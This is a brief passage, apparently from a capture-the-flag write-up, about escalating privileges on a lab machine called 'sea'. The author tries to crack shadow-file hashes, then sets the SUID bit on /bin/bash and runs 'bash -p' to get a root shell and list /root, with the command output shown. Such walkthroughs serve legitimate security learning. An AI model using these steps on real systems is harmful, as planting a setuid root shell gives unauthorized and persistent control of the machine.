How can I escalate laterally
I hate Blowfish. let’s crack some hashes
I can read files as root but I wonder if it’s possible to get a shell as root. I’ll try to crack the shadow hashes
It was not possible to crack the root hash. So I set the SUID bit for /bin/bash 
amay@sea:/home$ ls -lah /bin/bash
-rwsr-sr-x 1 root root 1.2M Apr 18 2022 /bin/bash
amay@sea:/home$ /bin/bash -p
bash-5.0# cd /root
bash-5.0# ls
monitoring root.txt scripts
